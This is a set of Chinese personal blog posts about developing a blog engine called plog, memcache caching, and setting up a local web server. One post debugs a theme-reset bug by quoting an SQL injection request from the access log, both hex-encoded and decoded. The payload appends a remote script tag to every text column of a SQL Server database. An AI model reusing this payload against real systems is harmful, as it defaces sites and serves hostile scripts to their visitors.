要去完成人生中一件重要的事情，啊哈哈，真幸福~~~过段时间会回趟老家，还要去一趟威海。

plog 开发到了一个不上不下的阶段，大家不要用最新的版本，目前的(相对)稳定版本是 r155... 抱歉了各位。。我如果能抽出时间会继续更新，或者回来之后再更新……

这段时间宝儿是带回去还是暂时留北京寄养，这是个问题，有人能告诉我哪里能提供好一点的寄养狗狗的服务么？小七在这里拜谢各位了。。。

*.appspot.com 连不上了，不要问我为什么，我不知道；也不要告诉我为什么，我也不想知道。

目前只有 *.*.171.118 这个 IP 还能用，不过只有很小的概率解析到它。我只好修改了 hosts 文件。

我的 blog 地址是 http://loscomet.cn，feed 地址是 http://loscomet.cn/blog/feed 我会尽最大努力保证这个域名可以在大多数时间让大多数人可以访问。

访问敝 blog 的朋友估计更关心的是 plog 的开发情况：

最近做了一些更新，主要是一些小的修改，还有代码结构的调整。目前比较大的几个计划是尽可能地向 WP 靠拢，先实现一个 wordpress-lite 版，包括：

1. 分开 page 和 post，现在主菜单的 about 都是空的。我们需要一个可以定制的主菜单，以及区别于 post 的自定义页面。
2. PermaLink，现在的 URL 只能是/post/id 这种形式，而且 id 是 GAE 的数据库生成的，既不连续，也不保证递增，自己无法控制。希望能有一个类似 wp 的自定义 URL 格式的功能。以及一个至少可以采用某种方式修改的ID。
3. Trackback，我承认我比较圡，没用过这个功能，现在还不太清楚它的机制，不过既然是个 blog 程序，不支持这个也说不过去。
   
4. 导入导出功能：上面的提到的几个计划都是为了这个，已经有好几个朋友提过这个需求了。计划的格式是 WXR(Wordpress eXtended RSS)

计划归计划，不知道猴年马月才能完成，欢迎大家给我提供这方面的指点和建议。

今天折腾了一晚上，终于在 WinXP 上装了最新版本的 apache、php、mysql。

以前在 linux 和 windows 下配置过好几次了，每次配置这些东西都会遇到各种问题，都会查很多资料，但每次都不涨经验。这次遇到的问题是 php 始终加载不了 mysql 的 ext，最后发现是 libmysql.dll 没有放在 PATH 下面，别的步骤都很顺利，基本上凭着记忆，没看文档就搞定了。希望下次能完全不依赖 google 配置好，hoho

wordpress 安装倒是很容易，果然像文档中说的：Famous 5-minute install。

以前没用过 wp，plog 也只是简单地参考了一下它的界面。现在看 wp 确实有很多值得学习的地方，打算深入挖掘一下，多抄袭一些它的特性 :D

现在看 plog 的设计，还有很多考虑不周到的地方。看来一些大的改动是不能避免了。开始考虑如何重构。。。

说到重构，我的观点是：尽可能早，尽可能果断地进行，等代码走向衰败的时候再改，成本会变得更高。当然这是就我自己做的这些规模小，没有时间压力、没有上司啰嗦的程序而言。对于大型的项目，还得看项目的实际情况，比如说预算，比如说工期，所以大项目的代码比较烂也是有原因的。

昨天把实现了 memcache 的代码更新到服务器上，然后选了另一个 theme，然后过了一会发现竟然变回了默认的 theme。我想可能是因为每次更新都会重新加载模块文件，然后可能还有缓存的原因……具体没多想，于是又重新设置了一遍 theme，然后就去睡觉了。

躺下之后感觉还是不对劲，应该不会出现这种问题的……后来睡着了，还梦到我查到 bug 来着。。。。

今天上午到公司打开一看，发现竟然又变成了默认主题。然后重新设置了一次，过了一会果然又变回去了。比较囧的是，由于缓存的作用，导致一些页面是新主题，另一些页面是默认主题。。。更囧的是，在自己的机器上运行就没有问题，如何都重现不了……

中午寝食难安，开始改代码，在所有认为可能出现问题的地方加上了 logging，然后做了个页面随时查看有关的全局变量，然后上传代码

两个小时之后，问题终于重现了，赶紧去看 log，发现是在 render 的时候出现了问题：

之前为了防止 theme 文件被意外修改而导致页面完全不能显示，我在 render 抛出异常之后把当前的 theme 改成了 default。但是现在呢，我在 render 里面加上了 memcache 的逻辑：把当前的 url 作为 key，把生成的 html 存到 memcache 里面。问题就出在这里：memcache 的 key 的最大长度是 250，url 的长度超过了这个数，导致 memcache.set 方法抛出异常，而外层处理发现 render 出问题了，把主题变成安全的默认主题了(这是我的错，之前只考虑了 theme 文件导致的异常)。

但问题是：为什么会出现这么长的 url？我查了一下 log， 发现有这么一个访问记录：

/?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861722832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D727472696D28636F6E7665727428766172636861722C5B272B40432B275D29292B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

看了一下内容，感觉有点像 SQL，于是放到 Sql Server 2005 里面执行了一下，发现最后是执行这么一个 SQL 语句：

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"></title><script src="http://js.users.51.la/1981162.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://js.users.51.la/1981162.js"></script><!--''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

我没仔细研究这段 SQL，但是可以确定的是，这是在试图进行 SQL 注入攻击。而且是针对某 sql server 系统的攻击。没调查这个访问是哪里来的，也不知道那个 js.users.51.la 是什么来头。总之 bug 原因是找到了。

当然，plog 不会被这样的访问攻击，但是由于它的 url 太长，让我暴露了另一个 BUG……

晚上回去修复，先用着默认主题吧。。。

好久没写文章了……这两天试着折腾了一下 Memcache，今天把代码部署上来了。不过，还在测试阶段，所以在 config 里面加了一个开关用于启用或者关闭 memcache 的使用。还加了不少 logging，可以观察 cache 的命中率。

不知道这东西能不能有效地降低 CPU 的使用，不过我的 blog 本来访问量就很小，CPU 使用率一直不高，所以我正在寻找可以模拟浏览器进行大量(能分布式就更好了)访问的工具，来系统地测试一下。

Memcache 使用方法很简单，我在考虑要不要再啰嗦一篇心得呢？